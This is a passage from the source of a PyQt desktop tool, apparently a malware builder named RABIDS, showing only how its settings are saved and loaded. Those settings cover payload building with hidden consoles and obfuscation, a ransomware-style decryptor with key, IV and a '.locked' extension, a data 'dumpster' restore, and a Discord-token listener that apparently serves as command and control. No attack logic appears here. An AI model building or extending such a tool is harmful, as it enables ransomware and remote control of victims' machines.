                "module_options": self.current_option_values
            },
            "uncrash": {
                "key": self.uncrash_key_edit.text(),
                "iv": self.uncrash_iv_edit.text(),
                "extension": self.uncrash_ext_edit.text(),
                "exe_name": self.uncrash_exe_name_edit.text(),
                "os": self.uncrash_os_combo.currentText(),
                "arch": self.uncrash_arch_combo.currentText()
            },
            "garbage_collector": {
                "dumpster_file": self.restore_dumpster_file_edit.text(),
                "output_dir": self.restore_output_dir_edit.text()
            },
            "listener": {
                "token": self.settings_discord_token_edit.text(),
                "creator_id": self.settings_listener_creator_id_edit.text()
            }
        }
        try:
            with open(self.get_config_path(), 'w') as f:
                json.dump(config, f, indent=4)
        except Exception as e:
            print(f"Error saving settings: {e}")

    def load_settings(self):
        config_path = self.get_config_path()
        if not os.path.exists(config_path):
            return
        try:
            with open(config_path, 'r') as f:
                config = json.load(f)

            builder_cfg = config.get("builder", {})
            self.exe_name_input.setText(builder_cfg.get("exe_name", "payload"))
            self.target_os_combo.setCurrentText(builder_cfg.get("target_os", "windows"))
            self.target_arch_combo.setCurrentText(builder_cfg.get("target_arch", "amd64"))
            self.hide_console_check.setChecked(builder_cfg.get("hide_console", True))
            self.obfuscate_check.setChecked(builder_cfg.get("obfuscate", False))
            self.ollvm_input.setText(builder_cfg.get("ollvm", ""))
            self.selected_modules = builder_cfg.get("module_chain", [])
            self.current_option_values = builder_cfg.get("module_options", {})

            uncrash_cfg = config.get("uncrash", {})
            self.uncrash_key_edit.setText(uncrash_cfg.get("key", ""))
            self.uncrash_iv_edit.setText(uncrash_cfg.get("iv", ""))
            self.uncrash_ext_edit.setText(uncrash_cfg.get("extension", ".locked"))
            self.uncrash_exe_name_edit.setText(uncrash_cfg.get("exe_name", "decryptor"))
            self.uncrash_os_combo.setCurrentText(uncrash_cfg.get("os", "windows"))
            self.uncrash_arch_combo.setCurrentText(uncrash_cfg.get("arch", "amd64"))

            gc_cfg = config.get("garbage_collector", {})
            self.restore_dumpster_file_edit.setText(gc_cfg.get("dumpster_file", ""))
            self.restore_output_dir_edit.setText(gc_cfg.get("output_dir", ""))

            listener_cfg = config.get("listener", {})
            self.settings_discord_token_edit.setText(listener_cfg.get("token", ""))
            self.settings_listener_creator_id_edit.setText(listener_cfg.get("creator_id", ""))

        except (json.JSONDecodeError, KeyError) as e:
            print(f"Error loading settings from config file: {e}")

    def closeEvent(self, event):
        self.save_settings()
        super().closeEvent(event)

if __name__ == "__main__":
    app = QApplication(sys.argv)
    window = RABIDSGUI()
    window.show()
    sys.exit(app.exec_())